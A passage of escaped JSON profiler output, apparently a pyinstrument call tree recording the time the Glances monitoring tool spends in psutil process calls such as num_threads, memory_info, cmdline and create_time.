\"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997294995817356, \"l939\": 0.001997294995817356},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997294995817356, \"l1593\": 0.001997294995817356},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997294995817356, \"l2052\": 0.001997294995817356},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997294995817356, \"l1593\": 0.001997294995817356},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997294995817356, \"l382\": 0.001997294995817356},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997294995817356, \"l1718\": 0.001997294995817356},\"children\": [{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003870013169944, \"l1064\": 0.0020003870013169944},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.002000,\"attributes\": {\"l1682\": 0.0020003870013169944},\"children\": [{\"identifier\": \"cpu_count_logical\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000535\",\"time\": 0.002000,\"attributes\": {\"l538\": 0.0020003870013169944},\"children\": [{\"identifier\": \"sysconf\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019985920007457025, \"l939\": 0.0019985920007457025},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019985920007457025, \"l1593\": 0.0019985920007457025},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019985920007457025, \"l2052\": 0.0019985920007457025},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019985920007457025, \"l1593\": 0.0019985920007457025},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019985920007457025, \"l382\": 0.0019985920007457025},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019985920007457025, \"l1718\": 0.0019985920007457025},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001999,\"attributes\": {\"l682\": 0.0019985920007457025},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997165003558621, \"l382\": 0.001997165003558621},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997165003558621, \"l1138\": 0.001997165003558621},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997165003558621, \"l1593\": 0.001997165003558621},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997165003558621, \"l1880\": 0.001997165003558621},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000051994808018, \"l680\": 0.0019998309944639914, \"l687\": 0.002000221000344027},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998309944639914, \"l1593\": 0.0019998309944639914},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998309944639914, \"l1740\": 0.0019998309944639914},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998309944639914, \"l1593\": 0.0019998309944639914},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000221000344027, \"l748\": 0.002000221000344027},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000221000344027, \"l1593\": 0.002000221000344027},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000221000344027, \"l1751\": 0.002000221000344027},\"children\": [{\"identifier\": \"decode\\u0000<frozen codecs>\\u0000322\",\"time\": 0.002000,\"attributes\": {\"cIncrementalDecoder\": 0.002000221000344027, \"l325\": 0.002000221000344027},\"children\": [{\"identifier\": \"utf_8_decode\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999150998017285, \"l382\": 0.001999150998017285},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020000899967271835, \"l579\": 0.0020000899967271835},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020000899967271835, \"l382\": 0.0020000899967271835},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020000899967271835, \"l1138\": 0.0020000899967271835},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020000899967271835, \"l1593\": 0.0020000899967271835},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020000899967271835, \"l1878\": 0.0020000899967271835},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.0020000899967271835},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.006002,\"attributes\": {\"cProcess\": 0.006001860994729213, \"l579\": 0.006001860994729213},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999988999159541, \"l382\": 0.001999988999159541},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999988999159541, \"l1138\": 0.001999988999159541},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999988999159541, \"l1593\": 0.001999988999159541},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999988999159541, \"l1880\": 0.001999988999159541},\"children\": [{\"identifier\": \"BufferedReader.readline\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020018079958390445, \"l1064\": 0.0020018079958390445},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.002002,\"attributes\": {\"l1682\": 0.0020018079958390445},\"children\": [{\"identifier\": \"cpu_count_logical\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000535\",\"time\": 0.002002,\"attributes\": {\"l538\": 0.0020018079958390445},\"children\": [{\"identifier\": \"sysconf\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000063999730628, \"l939\": 0.002000063999730628},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000063999730628, \"l1593\": 0.002000063999730628},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000063999730628, \"l2052\": 0.002000063999730628},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000063999730628, \"l1593\": 0.002000063999730628},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000063999730628, \"l382\": 0.002000063999730628},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000063999730628, \"l1718\": 0.002000063999730628},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.002000063999730628},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.015999,\"attributes\": {\"cProcess\": 0.015999005001503974, \"l578\": 0.001999419000640046, \"l579\": 0.007999688998097554, \"l572\": 0.0059998970027663745},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999836997129023, \"l687\": 0.001999836997129023},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999836997129023, \"l748\": 0.001999836997129023},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999836997129023, \"l1593\": 0.001999836997129023},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999836997129023, \"l1750\": 0.001999836997129023},\"children\": [{\"identifier\": \"TextIOWrapper.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.002000,\"attributes\": {\"c_GeneratorContextManager\": 0.002000017004320398, \"l150\": 0.002000017004320398},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"__enter__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000136\",\"time\": 0.004000,\"attributes\": {\"c_GeneratorContextManager\": 0.0039998799984459765, \"l141\": 0.0039998799984459765},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.0039998799984459765, \"l535\": 0.0039998799984459765},\"children\": [{\"identifier\": \"oneshot_enter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001727\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.0039998799984459765, \"l1729\": 0.002000258995394688, \"l1730\": 0.0019996210030512884},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"cache_activate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000393\",\"time\": 0.002000,\"attributes\": {\"l397\": 0.0019996210030512884},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020024959958391264, \"l939\": 0.0020024959958391264},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020024959958391264, \"l1593\": 0.0020024959958391264},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020024959958391264, \"l2052\": 0.0020024959958391264},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020024959958391264, \"l1593\": 0.0020024959958391264},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020024959958391264, \"l382\": 0.0020024959958391264},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020024959958391264, \"l1719\": 0.0020024959958391264},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.003997,\"attributes\": {\"cProcess\": 0.003997356005129404, \"l687\": 0.003997356005129404},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.003997,\"attributes\": {\"cProcess\": 0.003997356005129404, \"l748\": 0.003997356005129404},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003997,\"attributes\": {\"cProcess\": 0.003997356005129404, \"l1593\": 0.003997356005129404},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.003997,\"attributes\": {\"cProcess\": 0.003997356005129404, \"l1754\": 0.003997356005129404},\"children\": [{\"identifier\": \"_raise_if_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001646\",\"time\": 0.003997,\"attributes\": {\"cProcess\": 0.003997356005129404, \"l1647\": 0.003997356005129404},\"children\": [{\"identifier\": \"_is_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001630\",\"time\": 0.003997,\"attributes\": {\"cProcess\": 0.003997356005129404, \"l1644\": 0.001997466002649162, \"l1638\": 0.0019998900024802424},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []},{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002000,\"attributes\": {\"l730\": 0.0019998900024802424},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.007999839996045921, \"l639\": 0.007999839996045921},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.007999839996045921, \"l314\": 0.007999839996045921},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.007999839996045921, \"l347\": 0.006000969995511696, \"l341\": 0.0019988700005342253},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000951993977651, \"l394\": 0.002000951993977651},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000951993977651, \"l1593\": 0.002000951993977651},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000951993977651, \"l1860\": 0.002000951993977651},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001623\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019988700005342253, \"l1628\": 0.0019988700005342253},\"children\": [{\"identifier\": \"get_procfs_path\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000752\",\"time\": 0.001999,\"attributes\": {\"l754\": 0.0019988700005342253},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000018001534045, \"l394\": 0.004000018001534045},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000018001534045, \"l1593\": 0.004000018001534045},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000018001534045, \"l1857\": 0.004000018001534045},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000018001534045, \"l1593\": 0.004000018001534045},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000018001534045, \"l375\": 0.004000018001534045},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000018001534045, \"l1683\": 0.004000018001534045},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.004000,\"attributes\": {\"l730\": 0.004000018001534045},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.004000,\"attributes\": {\"l718\": 0.004000018001534045},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002007,\"attributes\": {},\"children\": []},{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001993,\"attributes\": {\"l682\": 0.001993388999835588},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001993,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001993,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update_processcount\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000173\",\"time\": 0.002000,\"attributes\": {\"cGlancesProcesses\": 0.0020004719990538433, \"l180\": 0.0020004719990538433},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"remove_non_running_procs\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000676\",\"time\": 0.002183,\"attributes\": {\"cGlancesProcesses\": 0.002183081000111997, \"l679\": 0.002183081000111997},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002183,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.001853,\"attributes\": {\"cGlancesProcesses\": 0.0018532500034780242, \"l689\": 0.0018532500034780242},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.001853,\"attributes\": {\"l589\": 0.0018532500034780242},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.001853,\"attributes\": {\"l584\": 0.0018532500034780242},\"children\": [{\"identifier\": \"_asdict\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000476\",\"time\": 0.001853,\"attributes\": {\"cpmem\": 0.0018532500034780242, \"l478\": 0.0018532500034780242},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001853,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.001964,\"attributes\": {\"cProgramlistPlugin\": 0.0019635979988379404, \"l155\": 0.0019635979988379404},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.001964,\"attributes\": {\"cGlancesProcesses\": 0.0019635979988379404, \"l711\": 0.0019635979988379404},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.001964,\"attributes\": {\"l71\": 0.0019635979988379404},\"children\": [{\"identifier\": \"update_program_dict\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000040\",\"time\": 0.001964,\"attributes\": {\"l46\": 0.0019635979988379404},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000602\",\"time\": 0.001964,\"attributes\": {\"cCounter\": 0.0019635979988379404, \"l614\": 0.0019635979988379404},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001964,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": 